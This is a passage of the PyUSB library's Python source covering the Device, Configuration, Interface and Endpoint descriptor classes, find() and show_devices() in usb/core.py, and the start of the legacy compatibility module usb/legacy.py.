should be zero. By "logical index" we mean the relative order of the configurations returned by the peripheral as a result of GET_DESCRIPTOR request. """ self.device = device self.index = endpoint backend = device._ctx.backend desc = backend.get_endpoint_descriptor( device._ctx.dev, endpoint, interface, alternate_setting, configuration ) _set_attr( desc, self, ( 'bLength', 'bDescriptorType', 'bEndpointAddress', 'bmAttributes', 'wMaxPacketSize', 'bInterval', 'bRefresh', 'bSynchAddress', 'extra_descriptors' ) ) def __repr__(self): return "<" + self._str() + ">" def __str__(self): headstr = " " + self._str() + " " if util.endpoint_direction(self.bEndpointAddress) == util.ENDPOINT_IN: direction = "IN" else: direction = "OUT" return "%s%s\n" % (headstr, "=" * (60 - len(headstr))) + \ " %-17s:%#7x (7 bytes)\n" % ( "bLength", self.bLength) + \ " %-17s:%#7x %s\n" % ( "bDescriptorType", self.bDescriptorType, _try_lookup(_lu.descriptors, self.bDescriptorType)) + \ " %-17s:%#7x %s\n" % ( "bEndpointAddress", self.bEndpointAddress, direction) + \ " %-17s:%#7x %s\n" % ( "bmAttributes", self.bmAttributes, _lu.ep_attributes[(self.bmAttributes & 0x3)]) + \ " %-17s:%#7x (%d bytes)\n" % ( "wMaxPacketSize", self.wMaxPacketSize, self.wMaxPacketSize) + \ " %-17s:%#7x" % ("bInterval", self.bInterval) def write(self, data, timeout = None): r"""Write data to the endpoint. The parameter data contains the data to be sent to the endpoint and timeout is the time limit of the operation. The transfer type and endpoint address are automatically inferred. The method returns the number of bytes written. For details, see the Device.write() method. """ return self.device.write(self, data, timeout) def read(self, size_or_buffer, timeout = None): r"""Read data from the endpoint. The parameter size_or_buffer is either the number of bytes to read or an array object where the data will be put in and timeout is the time limit of the operation. The transfer type and endpoint address are automatically inferred. The method returns either an array object or the number of bytes actually read. For details, see the Device.read() method. """ return self.device.read(self, size_or_buffer, timeout) def clear_halt(self): r"""Clear the halt/status condition of the endpoint.""" self.device.clear_halt(self.bEndpointAddress) def _str(self): if util.endpoint_direction(self.bEndpointAddress) == util.ENDPOINT_IN: direction = "IN" else: direction = "OUT" return ( "ENDPOINT 0x%X: %s %s" % (self.bEndpointAddress, _lu.ep_attributes[(self.bmAttributes & 0x3)], direction)) class Interface(object): r"""Represent an interface object. This class contains all fields of the Interface Descriptor according to the USB Specification. You may access them as class properties. For example, to access the field bInterfaceNumber of the interface descriptor, you can do so: >>> import usb.core >>> dev = usb.core.find() >>> for cfg in dev: >>> for i in cfg: >>> print i.bInterfaceNumber """ def __init__(self, device, interface = 0, alternate_setting = 0, configuration = 0): r"""Initialize the interface object. The device parameter is the device object returned by the find() function. The configuration parameter is the logical index of the configuration (not the bConfigurationValue field). The interface parameter is the interface logical index (not the bInterfaceNumber field) and alternate_setting is the alternate setting logical index (not the bAlternateSetting value). An interface may have only one alternate setting. In this case, the alternate_setting parameter should be zero. By "logical index" we mean the relative order of the configurations returned by the peripheral as a result of GET_DESCRIPTOR request. """ self.device = device self.alternate_index = alternate_setting self.index = interface self.configuration = configuration backend = device._ctx.backend desc = backend.get_interface_descriptor( self.device._ctx.dev, interface, alternate_setting, configuration ) _set_attr( desc, self, ( 'bLength', 'bDescriptorType', 'bInterfaceNumber', 'bAlternateSetting', 'bNumEndpoints', 'bInterfaceClass', 'bInterfaceSubClass', 'bInterfaceProtocol', 'iInterface', 'extra_descriptors' ) ) def __repr__(self): return "<" + self._str() + ">" def __str__(self): """Show all information for the interface.""" string = self._get_full_descriptor_str() for endpoint in self: string += "\n" + str(endpoint) return string def endpoints(self): r"""Return a tuple of the interface endpoints.""" return tuple(self) def set_altsetting(self): r"""Set the interface alternate setting.""" self.device.set_interface_altsetting( self.bInterfaceNumber, self.bAlternateSetting) def __iter__(self): r"""Iterate over all endpoints of the interface.""" for i in range(self.bNumEndpoints): yield Endpoint( self.device, i, self.index, self.alternate_index, self.configuration) def __getitem__(self, index): r"""Return the Endpoint object in the given position.""" return Endpoint( self.device, index, self.index, self.alternate_index, self.configuration) def _str(self): if self.bAlternateSetting: alt_setting = ", %d" % self.bAlternateSetting else: alt_setting = "" return "INTERFACE %d%s: %s" % (self.bInterfaceNumber, alt_setting, _try_lookup(_lu.interface_classes, self.bInterfaceClass, default = "Unknown Class")) def _get_full_descriptor_str(self): headstr = " " + self._str() + " " return "%s%s\n" % (headstr, "=" * (60 - len(headstr))) + \ " %-19s:%#7x (9 bytes)\n" % ( "bLength", self.bLength) + \ " %-19s:%#7x %s\n" % ( "bDescriptorType", self.bDescriptorType, _try_lookup(_lu.descriptors, self.bDescriptorType)) + \ " %-19s:%#7x\n" % ( "bInterfaceNumber", self.bInterfaceNumber) + \ " %-19s:%#7x\n" % ( "bAlternateSetting", self.bAlternateSetting) + \ " %-19s:%#7x\n" % ( "bNumEndpoints", self.bNumEndpoints) + \ " %-19s:%#7x %s\n" % ( "bInterfaceClass", self.bInterfaceClass, _try_lookup(_lu.interface_classes, self.bInterfaceClass)) + \ " %-19s:%#7x\n" % ( "bInterfaceSubClass", self.bInterfaceSubClass) + \ " %-19s:%#7x\n" % ( "bInterfaceProtocol", self.bInterfaceProtocol) + \ " %-19s:%#7x %s" % ( "iInterface", self.iInterface, _try_get_string(self.device, self.iInterface)) class Configuration(object): r"""Represent a configuration object. This class contains all fields of the Configuration Descriptor according to the USB Specification. You may access them as class properties. For example, to access the field bConfigurationValue of the configuration descriptor, you can do so: >>> import usb.core >>> dev = usb.core.find() >>> for cfg in dev: >>> print cfg.bConfigurationValue """ def __init__(self, device, configuration = 0): r"""Initialize the configuration object. The device parameter is the device object returned by the find() function. The configuration parameter is the logical index of the configuration (not the bConfigurationValue field). By "logical index" we mean the relative order of the configurations returned by the peripheral as a result of GET_DESCRIPTOR request. """ self.device = device self.index = configuration backend = device._ctx.backend desc = backend.get_configuration_descriptor( self.device._ctx.dev, configuration ) _set_attr( desc, self, ( 'bLength', 'bDescriptorType', 'wTotalLength', 'bNumInterfaces', 'bConfigurationValue', 'iConfiguration', 'bmAttributes', 'bMaxPower', 'extra_descriptors' ) ) def __repr__(self): return "<" + self._str() + ">" def __str__(self): string = self._get_full_descriptor_str() for interface in self: string += "\n%s" % str(interface) return string def interfaces(self): r"""Return a tuple of the configuration interfaces.""" return tuple(self) def set(self): r"""Set this configuration as the active one.""" self.device.set_configuration(self.bConfigurationValue) def __iter__(self): r"""Iterate over all interfaces of the configuration.""" for i in range(self.bNumInterfaces): alt = 0 try: while True: yield Interface(self.device, i, alt, self.index) alt += 1 except (USBError, IndexError): pass def __getitem__(self, index): r"""Return the Interface object in the given position. index is a tuple of two values with interface index and alternate setting index, respectivally. Example: >>> interface = config[(0, 0)] """ return Interface(self.device, index[0], index[1], self.index) def _str(self): return "CONFIGURATION %d: %d mA" % ( self.bConfigurationValue, _lu.MAX_POWER_UNITS_USB2p0 * self.bMaxPower) def _get_full_descriptor_str(self): headstr = " " + self._str() + " " if self.bmAttributes & (1<<6): powered = "Self" else: powered = "Bus" if self.bmAttributes & (1<<5): remote_wakeup = ", Remote Wakeup" else: remote_wakeup = "" return "%s%s\n" % (headstr, "=" * (60 - len(headstr))) + \ " %-21s:%#7x (9 bytes)\n" % ( "bLength", self.bLength) + \ " %-21s:%#7x %s\n" % ( "bDescriptorType", self.bDescriptorType, _try_lookup(_lu.descriptors, self.bDescriptorType)) + \ " %-21s:%#7x (%d bytes)\n" % ( "wTotalLength", self.wTotalLength, self.wTotalLength) + \ " %-21s:%#7x\n" % ( "bNumInterfaces", self.bNumInterfaces) + \ " %-21s:%#7x\n" % ( "bConfigurationValue", self.bConfigurationValue) + \ " %-21s:%#7x %s\n" % ( "iConfiguration", self.iConfiguration, _try_get_string(self.device, self.iConfiguration)) + \ " %-21s:%#7x %s Powered%s\n" % ( "bmAttributes", self.bmAttributes, powered, remote_wakeup # bit 7 is high, bit 4..0 are 0 ) + \ " %-21s:%#7x (%d mA)" % ( "bMaxPower", self.bMaxPower, _lu.MAX_POWER_UNITS_USB2p0 * self.bMaxPower) # FIXME : add a check for superspeed vs usb 2.0 class Device(_objfinalizer.AutoFinalizedObject): r"""Device object. This class contains all fields of the Device Descriptor according to the USB Specification. You may access them as class properties. For example, to access the field bDescriptorType of the device descriptor, you can do so: >>> import usb.core >>> dev = usb.core.find() >>> dev.bDescriptorType Additionally, the class provides methods to communicate with the hardware. Typically, an application will first call the set_configuration() method to put the device in a known configured state, optionally call the set_interface_altsetting() to select the alternate setting (if there is more than one) of the interface used, and call the write() and read() methods to send and receive data, respectively. When working in a new hardware, the first try could be like this: >>> import usb.core >>> dev = usb.core.find(idVendor=myVendorId, idProduct=myProductId) >>> dev.set_configuration() >>> dev.write(1, 'test') This sample finds the device of interest (myVendorId and myProductId should be replaced by the corresponding values of your device), then configures the device (by default, the configuration value is 1, which is a typical value for most devices) and then writes some data to the endpoint 0x01. Timeout values for the write, read and ctrl_transfer methods are specified in miliseconds. If the parameter is omitted, Device.default_timeout value will be used instead. This property can be set by the user at anytime. """ def __repr__(self): return "<" + self._str() + ">" def __str__(self): string = self._get_full_descriptor_str() try: for configuration in self: string += "\n%s" % str(configuration) except USBError: try: configuration = self.get_active_configuration() string += "\n%s" % (configuration.info) except USBError: string += " USBError Accessing Configurations" return string def configurations(self): r"""Return a tuple of the device configurations.""" return tuple(self) def __init__(self, dev, backend): r"""Initialize the Device object. Library users should normally get a Device instance through the find function. The dev parameter is the identification of a device to the backend and its meaning is opaque outside of it. The backend parameter is a instance of a backend object. """ self._ctx = _ResourceManager(dev, backend) self.__default_timeout = _DEFAULT_TIMEOUT self._serial_number, self._product, self._manufacturer = None, None, None self._langids = None desc = backend.get_device_descriptor(dev) _set_attr( desc, self, ( 'bLength', 'bDescriptorType', 'bcdUSB', 'bDeviceClass', 'bDeviceSubClass', 'bDeviceProtocol', 'bMaxPacketSize0', 'idVendor', 'idProduct', 'bcdDevice', 'iManufacturer', 'iProduct', 'iSerialNumber', 'bNumConfigurations', 'address', 'bus', 'port_number', 'port_numbers', 'speed', ) ) if desc.bus is not None: self.bus = int(desc.bus) else: self.bus = None if desc.address is not None: self.address = int(desc.address) else: self.address = None if desc.port_number is not None: self.port_number = int(desc.port_number) else: self.port_number = None if desc.speed is not None: self.speed = int(desc.speed) else: self.speed = None @property def langids(self): """ Return the USB device's supported language ID codes. These are 16-bit codes familiar to Windows developers, where for example instead of en-US you say 0x0409. USB_LANGIDS.pdf on the usb.org developer site for more info. String requests using a LANGID not in this array should not be sent to the device. This property will cause some USB traffic the first time it is accessed and cache the resulting value for future use. """ if self._langids is None: try: self._langids = util.get_langids(self) except USBError: self._langids = () return self._langids @property def serial_number(self): """ Return the USB device's serial number string descriptor. This property will cause some USB traffic the first time it is accessed and cache the resulting value for future use. """ if self._serial_number is None: self._serial_number = util.get_string(self, self.iSerialNumber) return self._serial_number @property def product(self): """ Return the USB device's product string descriptor. This property will cause some USB traffic the first time it is accessed and cache the resulting value for future use. """ if self._product is None: self._product = util.get_string(self, self.iProduct) return self._product @property def manufacturer(self): """ Return the USB device's manufacturer string descriptor. This property will cause some USB traffic the first time it is accessed and cache the resulting value for future use. """ if self._manufacturer is None: self._manufacturer = util.get_string(self, self.iManufacturer) return self._manufacturer @property def backend(self): """Return the backend being used by the device.""" return self._ctx.backend def set_configuration(self, configuration = None): r"""Set the active configuration. The configuration parameter is the bConfigurationValue field of the configuration you want to set as active. If you call this method without parameter, it will use the first configuration found. As a device hardly ever has more than one configuration, calling the method without arguments is enough to get the device ready. """ self._ctx.managed_set_configuration(self, configuration) def get_active_configuration(self): r"""Return a Configuration object representing the current configuration set. """ return self._ctx.get_active_configuration(self) def set_interface_altsetting(self, interface = None, alternate_setting = None): r"""Set the alternate setting for an interface. When you want to use an interface and it has more than one alternate setting, you should call this method to select the appropriate alternate setting. If you call the method without one or the two parameters, it will be selected the first one found in the Device in the same way of the set_configuration method. Commonly, an interface has only one alternate setting and this call is not necessary. For most devices, either it has more than one alternate setting or not, it is not harmful to make a call to this method with no arguments, as devices will silently ignore the request when there is only one alternate setting, though the USB Spec allows devices with no additional alternate setting return an error to the Host in response to a SET_INTERFACE request. If you are in doubt, you may want to call it with no arguments wrapped by a try/except clause: >>> try: >>> dev.set_interface_altsetting() >>> except usb.core.USBError: >>> pass """ self._ctx.managed_set_interface(self, interface, alternate_setting) def clear_halt(self, ep): r""" Clear the halt/stall condition for the endpoint ep.""" if isinstance(ep, Endpoint): ep = ep.bEndpointAddress self._ctx.managed_open() self._ctx.backend.clear_halt(self._ctx.handle, ep) def reset(self): r"""Reset the device.""" self._ctx.managed_open() self._ctx.dispose(self, False) self._ctx.backend.reset_device(self._ctx.handle) self._ctx.dispose(self, True) def write(self, endpoint, data, timeout = None): r"""Write data to the endpoint. This method is used to send data to the device. The endpoint parameter corresponds to the bEndpointAddress member whose endpoint you want to communicate with. The data parameter should be a sequence like type convertible to the array type (see array module). The timeout is specified in miliseconds. The method returns the number of bytes written. """ backend = self._ctx.backend fn_map = { util.ENDPOINT_TYPE_BULK:backend.bulk_write, util.ENDPOINT_TYPE_INTR:backend.intr_write, util.ENDPOINT_TYPE_ISO:backend.iso_write } intf, ep = self._ctx.setup_request(self, endpoint) fn = fn_map[util.endpoint_type(ep.bmAttributes)] return fn( self._ctx.handle, ep.bEndpointAddress, intf.bInterfaceNumber, _interop.as_array(data), self.__get_timeout(timeout) ) def read(self, endpoint, size_or_buffer, timeout = None): r"""Read data from the endpoint. This method is used to receive data from the device. The endpoint parameter corresponds to the bEndpointAddress member whose endpoint you want to communicate with. The size_or_buffer parameter either tells how many bytes you want to read or supplies the buffer to receive the data (it *must* be an object of the type array). The timeout is specified in miliseconds. If the size_or_buffer parameter is the number of bytes to read, the method returns an array object with the data read. If the size_or_buffer parameter is an array object, it returns the number of bytes actually read. """ backend = self._ctx.backend fn_map = { util.ENDPOINT_TYPE_BULK:backend.bulk_read, util.ENDPOINT_TYPE_INTR:backend.intr_read, util.ENDPOINT_TYPE_ISO:backend.iso_read } intf, ep = self._ctx.setup_request(self, endpoint) fn = fn_map[util.endpoint_type(ep.bmAttributes)] if isinstance(size_or_buffer, array.array): buff = size_or_buffer else: # here we consider it is a integer buff = util.create_buffer(size_or_buffer) ret = fn( self._ctx.handle, ep.bEndpointAddress, intf.bInterfaceNumber, buff, self.__get_timeout(timeout)) if isinstance(size_or_buffer, array.array): return ret elif ret != len(buff) * buff.itemsize: return buff[:ret] else: return buff def ctrl_transfer(self, bmRequestType, bRequest, wValue=0, wIndex=0, data_or_wLength = None, timeout = None): r"""Do a control transfer on the endpoint 0. This method is used to issue a control transfer over the endpoint 0 (endpoint 0 is required to always be a control endpoint). The parameters bmRequestType, bRequest, wValue and wIndex are the same of the USB Standard Control Request format. Control requests may or may not have a data payload to write/read. In cases which it has, the direction bit of the bmRequestType field is used to infer the desired request direction. For host to device requests (OUT), data_or_wLength parameter is the data payload to send, and it must be a sequence type convertible to an array object. In this case, the return value is the number of bytes written in the data payload. For device to host requests (IN), data_or_wLength is either the wLength parameter of the control request specifying the number of bytes to read in data payload, and the return value is an array object with data read, or an array object which the data will be read to, and the return value is the number of bytes read. """ try: buff = util.create_buffer(data_or_wLength) except TypeError: buff = _interop.as_array(data_or_wLength) self._ctx.managed_open() # Thanks to Johannes Stezenbach to point me out that we need to # claim the recipient interface recipient = bmRequestType & 3 rqtype = bmRequestType & (3 << 5) if recipient == util.CTRL_RECIPIENT_INTERFACE \ and rqtype != util.CTRL_TYPE_VENDOR: interface_number = wIndex & 0xff self._ctx.managed_claim_interface(self, interface_number) ret = self._ctx.backend.ctrl_transfer( self._ctx.handle, bmRequestType, bRequest, wValue, wIndex, buff, self.__get_timeout(timeout)) if isinstance(data_or_wLength, array.array) \ or util.ctrl_direction(bmRequestType) == util.CTRL_OUT: return ret elif ret != len(buff) * buff.itemsize: return buff[:ret] else: return buff def is_kernel_driver_active(self, interface): r"""Determine if there is kernel driver associated with the interface. If a kernel driver is active, the object will be unable to perform I/O. The interface parameter is the device interface number to check. """ self._ctx.managed_open() return self._ctx.backend.is_kernel_driver_active( self._ctx.handle, interface) def detach_kernel_driver(self, interface): r"""Detach a kernel driver. If successful, you will then be able to perform I/O. The interface parameter is the device interface number to detach the driver from. """ self._ctx.managed_open() self._ctx.backend.detach_kernel_driver( self._ctx.handle, interface) def attach_kernel_driver(self, interface): r"""Re-attach an interface's kernel driver, which was previously detached using detach_kernel_driver(). The interface parameter is the device interface number to attach the driver to. """ self._ctx.managed_open() self._ctx.backend.attach_kernel_driver( self._ctx.handle, interface) def __iter__(self): r"""Iterate over all configurations of the device.""" for i in range(self.bNumConfigurations): yield Configuration(self, i) def __getitem__(self, index): r"""Return the Configuration object in the given position.""" return Configuration(self, index) def _finalize_object(self): self._ctx.dispose(self) def __get_timeout(self, timeout): if timeout is not None: return timeout return self.__default_timeout def __set_def_tmo(self, tmo): if tmo < 0: raise ValueError('Timeout cannot be a negative value') self.__default_timeout = tmo def __get_def_tmo(self): return self.__default_timeout def _str(self): return "DEVICE ID %04x:%04x on Bus %03d Address %03d" % ( self.idVendor, self.idProduct, self.bus, self.address) def _get_full_descriptor_str(self): headstr = self._str() + " " if self.bcdUSB & 0xf: low_bcd_usb = str(self.bcdUSB & 0xf) else: low_bcd_usb = "" if self.bcdDevice & 0xf: low_bcd_device = str(self.bcdDevice & 0xf) else: low_bcd_device = "" return "%s%s\n" % (headstr, "=" * (60 - len(headstr))) + \ " %-23s:%#7x (18 bytes)\n" % ( "bLength", self.bLength) + \ " %-23s:%#7x %s\n" % ( "bDescriptorType", self.bDescriptorType, _try_lookup(_lu.descriptors, self.bDescriptorType)) + \ " %-23s:%#7x USB %d.%d%s\n" % ( "bcdUSB", self.bcdUSB, (self.bcdUSB & 0xff00)>>8, (self.bcdUSB & 0xf0) >> 4, low_bcd_usb) + \ " %-23s:%#7x %s\n" % ( "bDeviceClass", self.bDeviceClass, _try_lookup(_lu.device_classes, self.bDeviceClass)) + \ " %-23s:%#7x\n" % ( "bDeviceSubClass", self.bDeviceSubClass) + \ " %-23s:%#7x\n" % ( "bDeviceProtocol", self.bDeviceProtocol) + \ " %-23s:%#7x (%d bytes)\n" % ( "bMaxPacketSize0", self.bMaxPacketSize0, self.bMaxPacketSize0) + \ " %-23s: %#06x\n" % ( "idVendor", self.idVendor) + \ " %-23s: %#06x\n" % ( "idProduct", self.idProduct) + \ " %-23s:%#7x Device %d.%d%s\n" % ( "bcdDevice", self.bcdDevice, (self.bcdDevice & 0xff00)>>8, (self.bcdDevice & 0xf0) >> 4, low_bcd_device) + \ " %-23s:%#7x %s\n" % ( "iManufacturer", self.iManufacturer, _try_get_string(self, self.iManufacturer)) + \ " %-23s:%#7x %s\n" % ( "iProduct", self.iProduct, _try_get_string(self, self.iProduct)) + \ " %-23s:%#7x %s\n" % ( "iSerialNumber", self.iSerialNumber, _try_get_string(self, self.iSerialNumber)) + \ " %-23s:%#7x" % ( "bNumConfigurations", self.bNumConfigurations) default_timeout = property( __get_def_tmo, __set_def_tmo, doc = 'Default timeout for transfer I/O functions' ) def find(find_all=False, backend = None, custom_match = None, **args): r"""Find an USB device and return it. find() is the function used to discover USB devices. You can pass as arguments any combination of the USB Device Descriptor fields to match a device. For example: find(idVendor=0x3f4, idProduct=0x2009) will return the Device object for the device with idVendor field equals to 0x3f4 and idProduct equals to 0x2009. If there is more than one device which matchs the criteria, the first one found will be returned. If a matching device cannot be found the function returns None. If you want to get all devices, you can set the parameter find_all to True, then find will return an iterator with all matched devices. If no matching device is found, it will return an empty iterator. Example: for printer in find(find_all=True, bDeviceClass=7): print (printer) This call will get all the USB printers connected to the system. (actually may be not, because some devices put their class information in the Interface Descriptor). You can also use a customized match criteria: dev = find(custom_match = lambda d: d.idProduct=0x3f4 and d.idvendor=0x2009) A more accurate printer finder using a customized match would be like so: def is_printer(dev): import usb.util if dev.bDeviceClass == 7: return True for cfg in dev: if usb.util.find_descriptor(cfg, bInterfaceClass=7) is not None: return True for printer in find(find_all=True, custom_match = is_printer): print (printer) Now even if the device class code is in the interface descriptor the printer will be found. You can combine a customized match with device descriptor fields. In this case, the fields must match and the custom_match must return True. In the our previous example, if we would like to get all printers belonging to the manufacturer 0x3f4, the code would be like so: printers = list(find(find_all=True, idVendor=0x3f4, custom_match=is_printer)) If you want to use find as a 'list all devices' function, just call it with find_all = True: devices = list(find(find_all=True)) Finally, you can pass a custom backend to the find function: find(backend = MyBackend()) PyUSB has builtin backends for libusb 0.1, libusb 1.0 and OpenUSB. If you do not supply a backend explicitly, find() function will select one of the predefineds backends according to system availability. Backends are explained in the usb.backend module. """ def device_iter(**kwargs): for dev in backend.enumerate_devices(): d = Device(dev, backend) tests = (val == getattr(d, key) for key, val in kwargs.items()) if _interop._all(tests) and (custom_match is None or custom_match(d)): yield d if backend is None: import usb.backend.libusb1 as libusb1 import usb.backend.libusb0 as libusb0 import usb.backend.openusb as openusb for m in (libusb1, openusb, libusb0): backend = m.get_backend() if backend is not None: _logger.info('find(): using backend "%s"', m.__name__) break else: raise NoBackendError('No backend available') if find_all: return device_iter(**args) else: try: return _interop._next(device_iter(**args)) except StopIteration: return None def show_devices(verbose=False, **kwargs): """Show information about connected devices. The verbose flag sets to verbose or not. **kwargs are passed directly to the find() function. """ kwargs["find_all"] = True devices = find(**kwargs) strings = "" for device in devices: if not verbose: strings += "%s, %s\n" % (device._str(), _try_lookup( _lu.device_classes, device.bDeviceClass)) else: strings += "%s\n\n" % str(device) return _DescriptorInfo(strings) ================================================ FILE: usb/legacy.py ================================================ # Copyright (C) 2009-2014 Wander Lairson Costa # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. import usb.core as core import usb.util as util import usb._objfinalizer as _objfinalizer import usb.control as control from itertools import groupby __author__ = 'Wander Lairson Costa' USBError = core.USBError CLASS_AUDIO = 1 CLASS_COMM = 2 CLASS_DATA = 10 CLASS_HID = 3 CLASS_HUB = 9 CLASS_MASS_STORAGE = 8 CLASS_PER_INTERFACE = 0 CLASS_PRINTER = 7 CLASS_VENDOR_SPEC = 255 DT_CONFIG = 2 DT_CONFIG_SIZE = 9 DT_DEVICE = 1 DT_DEVICE_SIZE = 18 DT_ENDPOINT = 5 DT_ENDPOINT_AUDIO_SIZE = 9 DT_ENDPOINT_SIZE = 7 DT_HID = 33 DT_HUB = 41 DT_HUB_NONVAR_SIZE = 7 DT_INTERFACE = 4 DT_INTERFACE_SIZE = 9 DT_PHYSICAL = 35 DT_REPORT = 34 DT_STRING = 3 ENDPOINT_ADDRESS_MASK = 15 ENDPOINT_DIR_MASK = 128 ENDPOINT_IN = 128 ENDPOINT_OUT = 0 ENDPOINT_TYPE_BULK = 2 ENDPOINT_TYPE_CONTROL = 0 ENDPOINT_TYPE_INTERRUPT = 3 ENDPOINT_TYPE_ISOCHRONOUS = 1 ENDPOINT_TYPE_MASK = 3 ERROR_BEGIN = 500000 MAXALTSETTING = 128 MAXCONFIG = 8 MAXENDPOINTS = 32 MAXINTERFACES = 32 RECIP_DEVICE = 0 RECIP_ENDPOINT = 2 RECIP_INTERFACE = 1 RECIP_OTHER = 3 REQ_CLEAR_FEATURE = 1 REQ_GET_CONFIGURATION = 8 REQ_GET_DESCRIPTOR = 6 REQ_GET_INTERFACE = 10 REQ_GET_STATUS = 0 REQ_SET_ADDRESS = 5 REQ_SET_CONFIGURATION = 9 REQ_SET_DESCRIPTOR = 7 REQ_SET_FEATURE = 3 REQ_SET_INTERFACE = 11 REQ_SYNCH_FRAME = 12 TYPE_CLASS = 32 TYPE_RESERVED = 96 TYPE_STANDARD = 0 TYPE_VENDOR = 64 class Endpoint(object): r"""Endpoint descriptor object.""" def __init__(self, ep): self.address = ep.bEndpointAddress self.interval = ep.bInterval self.maxPacketSize = ep.wMaxPacketSize self.type = util.endpoint_type(ep.bmAttributes) class Interface(object): r"""Interface descriptor object.""" def __init__(self, intf): self.alternateSetting = intf.bAlternateSetting self.interfaceNumber = intf.bInterfaceNumber self.iInterface = intf.iInterface self.interfaceClass = intf.bInterfaceClass self.interfaceSubClass = intf.bInterfaceSubClass self.interfaceProtocol = intf.bInterfaceProtocol self.endpoints = [Endpoint(e) for e in intf] class Configuration(object): r"""Configuration descriptor object.""" def __init__(self, cfg): self.iConfiguration = cfg.iConfiguration self.maxPower = cfg.bMaxPower << 1 self.remoteWakeup = (cfg.bmAttributes >> 5) & 1 self.selfPowered = (cfg.bmAttributes >> 6) & 1 self.totalLength = cfg.wTotalLength self.value = cfg.bConfigurationValue self.interfaces = [ list(g) for k, g in groupby( sorted( [Interface(i) for i in cfg], key=lambda i: i.interfaceNumber ), lambda i: i.alternateSetting) ] class DeviceHandle(_objfinalizer.AutoFinalizedObject): def __init__(self, dev): self.dev = dev self.__claimed_interface = None def _finalize_object(self): util.dispose_resources(self.dev) self.dev = None def bulkWrite(self, endpoint, buffer, timeout = 100): r"""Perform a bulk write request to the endpoint specified. Arguments: endpoint: endpoint number. buffer: sequence data buffer to write. This parameter can be any sequence type. timeout: operation timeout in milliseconds. (default: 100) Returns the number of bytes written. """ return self.dev.write(endpoint, buffer, timeout) def bulkRead(self, endpoint, size, timeout = 100): r"""Performs a bulk read request to the endpoint specified. Arguments: endpoint: endpoint number. size: number of bytes to read. timeout: operation timeout in milliseconds. (default: 100) Returns a tuple with the data read. """ return self.dev.read(endpoint, size, timeout) def interruptWrite(self, endpoint, buffer, timeout = 100): r"""Perform a interrupt write request to the endpoint specified. Arguments: endpoint: endpoint number. buffer: sequence data buffer to write. This parameter can be any sequence type. timeout: operation timeout in milliseconds. (default: 100) Returns the number of bytes written. """ return self.dev.write(endpoint, buffer, timeout) def interruptRead(self, endpoint, size, timeout = 100): r"""Performs a interrupt read request to the endpoint specified. Arguments: endpoint: endpoint number. size: number of bytes to read. timeout: operation timeout in milliseconds. (default: 100) Returns a tuple with the data read. """ return self.dev.read(endpoint, size, timeout) def controlMsg(self, requestType, request, buffer, value = 0, index = 0, timeout = 100): r"""Perform a control request to the default control pipe on a device. Arguments: requestType: specifies the direction of data flow, the type of request, and the recipient. request: specifies the request. buffer: if the transfer is a write transfer, buffer is a sequence with the transfer data, otherwise, buffer is the number of bytes to read. value: specific information to pass to the device. (default: 0) index: specific information to pass to the device. (default: 0) timeout: operation timeout in milliseconds. (default: 100) Returns the number of bytes written. """ return self.dev.ctrl_transfer( requestType, request, wValue = value, wIndex = index, data_or_wLength = buffer, timeout = timeout) def clearHalt(self, endpoint): r"""Clears any halt status on the specified endpoint. Arguments: endpoint: endpoint number. """ self.dev.clear_halt(endpoint) def claimInterface(self, interface): r"""Claims the interface with the Operating System. Arguments: interface: interface number or an Interface object. """ if isinstance(interface, Interface): interface = interface.interfaceNumber util.claim_interface(self.dev, interface) self.__claimed_interface = interface def releaseInterface(self): r"""Release an interface previously claimed with claimInterface.""" util.release_interface(self.dev, self.__claimed_interface) self.__claimed_interface = -1 def reset(self): r"""Reset the specified device by sending a RESET down the port it is connected to.""" self.dev.reset() def resetEndpoint(self, endpoint): r"""Reset all states for the specified endpoint. Arguments: endpoint: endpoint number. """ self.clearHalt(endpoint) def setConfiguration(self, configuration): r"""Set the active configuration of a device. Arguments: configuration: a configuration value or a Configuration object. """ if isinstance(configuration, Configuration): configuration = configuration.value self.dev.set_configuration(configuration) def setAltInterface(self, alternate): r"""Sets the active alternate setting of the current interface. Arguments: alternate: an alternate setting number or an Interface object. """ if isinstance(alternate, Interface): alternate = alternate.alternateSetting self.dev.set_interface_altsetting(self.__claimed_interface, alternate) def getString(self, index, length, langid = None): r"""Retrieve the string descriptor specified by index and langid from a device. Arguments: index: index of descriptor in the device. length: number of bytes of the string (ignored) langid: Language ID. If it is omitted, the first language will be used. """ return util.get_string(self.dev, index, langid).encode('ascii') def getDescriptor(self, desc_type, desc_index, length, endpoint = -1): r"""Retrieves a descriptor from the device identified by the type and index of the descriptor. Arguments: desc_type: descriptor type. desc_index: index of the descriptor. len: descriptor length. endpoint: ignored. """ return control.get_descriptor(self.dev, length, desc_type, desc_index) def detachKernelDriver(self, interface): r"""Detach a kernel driver from the interface (if one is attached, we have permission and the operation is supported by the OS) Arguments: interface: interface number or an Interface object. """ if isinstance(interface, Interface): interface = interface.interfaceNumber self.dev.detach_kernel_driver(interface) class Device(object): r"""Device descriptor object""" def __init__(self, dev): self.deviceClass = dev.bDeviceClass self.deviceSubClass = dev.bDeviceSubClass self.deviceProtocol = dev.bDeviceProtocol self.deviceVersion = str((dev.bcdDevice >> 12) & 0xf) + \ str((dev.bcdDevice 